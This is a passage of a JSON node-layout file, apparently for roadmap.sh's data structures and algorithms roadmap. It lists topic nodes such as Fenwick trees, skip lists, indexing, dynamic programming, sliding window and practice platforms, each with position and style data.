\"V9SWO58kaMsU1NT7q26WG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -78.66928117616911,\n        \"y\": 1630.9124703947627\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Fenwick Trees\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235\n      },\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -78.66928117616911,\n        \"y\": 1630.9124703947627\n      }\n    },\n    {\n      \"id\": \"La8XAT0BWvqRCrvQxtZIp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -78.66928117616911,\n        \"y\": 1683.9124703947627\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Disjoint Set (Union-Find)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235\n      },\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -78.66928117616911,\n        \"y\": 1683.9124703947627\n      }\n    },\n    {\n      \"id\": \"zprVkxpojaxNo0LQar3Ex\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -78.66928117616911,\n        \"y\": 1736.9124703947627\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Suffix Trees and Arrays\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235\n      },\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -78.66928117616911,\n        \"y\": 1736.9124703947627\n      }\n    },\n    {\n      \"id\": \"kSpgFuAHyzySWlGBLOHZR\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -427.5482627301021,\n        \"y\": 1851.9582120033715\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Complex Data Structures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VMV4F-SPKWn9CtpHXEjeN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -427.5482627301021,\n        \"y\": 1851.9582120033715\n      }\n    },\n    {\n      \"id\": \"2G6vn7K11_mPQQ7_IXJ96\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1904.9582120033715\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"B/B+ Trees\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"o0fNAhJ1LsCdmGzY2ni_x\"\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170\n      },\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1904.9582120033715\n      }\n    },\n    {\n      \"id\": \"TQu-OBpvR-aQfMByUcwyM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1957.9582120033715\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Skip List\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"o0fNAhJ1LsCdmGzY2ni_x\"\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170\n      },\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1957.9582120033715\n      }\n    },\n    {\n      \"id\": \"uxErZ4gLeKqwhrUG88InQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -713.2840503957483,\n        \"y\": 2010.9582120033715\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ISAM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"o0fNAhJ1LsCdmGzY2ni_x\"\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170\n      },\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -713.2840503957483,\n        \"y\": 2010.9582120033715\n      }\n    },\n    {\n      \"id\": \"o0fNAhJ1LsCdmGzY2ni_x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1851.9582120033715\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"2-3 Trees\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170\n      },\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1851.9582120033715\n      }\n    },\n    {\n      \"id\": \"Ar7GEGfI9O_dLPbIEVhF_\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -1.8718212281080469,\n        \"y\": 1851.9582120033715\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Indexing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VMV4F-SPKWn9CtpHXEjeN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -1.8718212281080469,\n        \"y\": 1851.9582120033715\n      }\n    },\n    {\n      \"id\": \"4noav5w_8GrMTXN1Lxm5h\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 191.5771207110738,\n        \"y\": 1828.6520523420259\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Linear\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZXUfeyfC5oSKkGktXuK8t\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150\n      },\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 191.5771207110738,\n        \"y\": 1828.6520523420259\n      }\n    },\n    {\n      \"id\": \"ZXUfeyfC5oSKkGktXuK8t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 191.5771207110738,\n        \"y\": 1881.6520523420259\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tree-Based\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150\n      },\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 191.5771207110738,\n        \"y\": 1881.6520523420259\n      }\n    },\n    {\n      \"id\": \"Y1Uz6XRbR1YqFtO4akiPA\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -1.8718212281080469,\n        \"y\": 2092.769352765344\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Problem Solving Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VMV4F-SPKWn9CtpHXEjeN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 261,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -1.8718212281080469,\n        \"y\": 2092.769352765344\n      }\n    },\n    {\n      \"id\": \"5T2y6Iqi-I_zOtLkeSPzY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -427.8329547470348,\n        \"y\": 1985.6735199864388\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Brute Force\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"q9qLI6HzOJ0vYaIVrZ5CU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 136,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -427.8329547470348,\n        \"y\": 1985.6735199864388\n      }\n    },\n    {\n      \"id\": \"mKoC5o__gLSTjAlq8iXkV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -280.1614174906316,\n        \"y\": 1985.6735199864388\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Backtracking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -280.1614174906316,\n        \"y\": 1985.6735199864388\n      }\n    },\n    {\n      \"id\": \"qUlqyTjk3XKF9DEm6Lsgb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -427.8329547470348,\n        \"y\": 2039.7693527653441\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Greedy Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"q9qLI6HzOJ0vYaIVrZ5CU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -427.8329547470348,\n        \"y\": 2039.7693527653441\n      }\n    },\n    {\n      \"id\": \"RiS8KZs3YBE6mKWPHszMp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -427.8329547470348,\n        \"y\": 2092.769352765344\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Randomised Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"q9qLI6HzOJ0vYaIVrZ5CU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -427.8329547470348,\n        \"y\": 2092.769352765344\n      }\n    },\n    {\n      \"id\": \"xchWhsizaKgYuHPC4Tz9H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -427.8329547470348,\n        \"y\": 2145.769352765344\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Divide and COnquer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"q9qLI6HzOJ0vYaIVrZ5CU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -427.8329547470348,\n        \"y\": 2145.769352765344\n      }\n    },\n    {\n      \"id\": \"4ZAzcwP0oPGZ9Rw042V8-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -262.8329547470348,\n        \"y\": 2198.769352765344\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Recursion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JcchUF_U99zkFpXp3VT2R\"\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -262.8329547470348,\n        \"y\": 2198.769352765344\n      }\n    },\n    {\n      \"id\": \"jKAZNybU9cxufNBdFsqsP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -427.8329547470348,\n        \"y\": 2251.769352765344\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Dynamic Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"q9qLI6HzOJ0vYaIVrZ5CU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -427.8329547470348,\n        \"y\": 2251.769352765344\n      }\n    },\n    {\n      \"id\": \"itvhUXbe9dr9JN5ga2jYy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -427.8329547470348,\n        \"y\": 2304.769352765344\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Two Pointer Technique\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"q9qLI6HzOJ0vYaIVrZ5CU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -427.8329547470348,\n        \"y\": 2304.769352765344\n      }\n    },\n    {\n      \"id\": \"gbHVR-ojRxv9I0E5eSlWy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -427.8329547470348,\n        \"y\": 2357.769352765344\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Sliding Window Technique\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"q9qLI6HzOJ0vYaIVrZ5CU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -427.8329547470348,\n        \"y\": 2357.769352765344\n      }\n    },\n    {\n      \"id\": \"VMV4F-SPKWn9CtpHXEjeN\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -1.8718212281080469,\n        \"y\": 2330.152683880965\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Platforms to Practice\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -1.8718212281080469,\n        \"y\": 2330.152683880965\n      }\n    },\n    {\n      \"id\": \"waM_j5mbe_XoA7h8u4vFN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 170.5771207110738,\n        \"y\": 2188.098310553547\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Leetcode\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8-7phxPp1D1mv2yubpLBo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147\n      },\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 170.5771207110738,\n        \"y\": 2188.098310553547\n      }\n    },\n    {\n      \"id\": \"8-7phxPp1D1mv2yubpLBo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 169.5771207110738,\n        \"y\": 2241.098310553547\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Edabit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147\n      },\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 169.5771207110738,\n        \"y\": 2241.098310553547\n      }\n    },\n    {\n      \"id\": \"kpF15oUmlUmk1qVGEBB7Y\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 83.99419451849974,\n        \"y\": -149.2948532825934\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and more at\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 83.99419451849974,\n        \"y\": -149.2948532825934\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 151\n      }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 99.8618127280065,\n        \"y\": -65.54342745103565\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 99.8618127280065,\n        \"y\": -65.54342745103565\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DYeA_bXEfy_C_eAioOUh2\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -713.2840503957483,\n        \"y\": -149.2948532825934\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"gx9eslTV-PzSBfkrcNimD\",\n            \"label\": \"Computer Science \",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/computer-science\"\n          },\n          {\n            \"id\": \"PxbN0ZRbv2mGdUZaV2mjm\",\n            \"label\": \"Programming Languages\",\n            \"url\": \"https://roadmap.sh/roadmaps?g=Languages+%2F+Platforms\"\n          },\n          {\n            \"id\": \"rd0Haz5rTwZ1LPkf0V9Pn\",\n            \"label\": \"System Design\",\n            \"url\": \"https://roadmap.sh/system-design\"\n          },\n          {\n            \"id\": \"uy7dslSj7Eb9T9Z4RioEi\",\n            \"label\": \"Software Design & Architecture\",\n            \"url\": \"https://roadmap.sh/software-design-architecture\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 307,\n        \"height\": 195\n      },\n      \"dragging\": false,\n      \"width\": 301,\n      \"height\": 192,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -713.2840503957483,\n        \"y\": -149.2948532825934\n      }\n    },\n    {\n      \"width\": 410,\n      \"height\": 119,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -126.8562092510441,\n        \"y\": 2448.9444507362514\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Continue learning with following roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -126.8562092510441,\n        \"y\": 2448.9444507362514\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 410,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 473,\n        \"height\": 117\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"UloavCkIvZnD1XMFohYVT\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -111.8562092510441,\n        \"y\": 2503.090108169361\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Computer Science\",\n        \"href\": \"https://roadmap.sh/computer-science\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"OIcmPSbdsuWapb6HZ4BEi\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -111.8562092510441,\n        \"y\": 2503.090108169361\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 74,\n      \"id\": \"ef-jFKMs8jw3Ti94jem96\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 38.12817877189196,\n        \"y\": 2565.9444507362514\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"RLtk1C3gofHnLJ17x3o5b\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 38.12817877189196,\n        \"y\": 2565.9444507362514\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 74\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 74\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"OIcmPSbdsuWapb6HZ4BEi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 112.9167081706737,\n        \"y\": 2503.090108169361\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"System Design\",\n        \"href\": \"https://roadmap.sh/system-design\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"cmSSwPPiiHwYh9ct14N6A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 112.9167081706737,\n        \"y\": 2503.090108169361\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"J_No8GTa92DcwPtua30wL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -657.1381872719935,\n        \"y\": 2357.769352765344\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Fast and Slow Pointers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"q9qLI6HzOJ0vYaIVrZ5CU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -657.1381872719935,\n        \"y\": 2357.769352765344\n      }\n    },\n    {\n      \"id\": \"L1FIJAluyxG6CGaVLM20O\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -657.1381872719935,\n        \"y\": 2304.769352765344\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cyclic Sort\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"q9qLI6HzOJ0vYaIVrZ5CU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      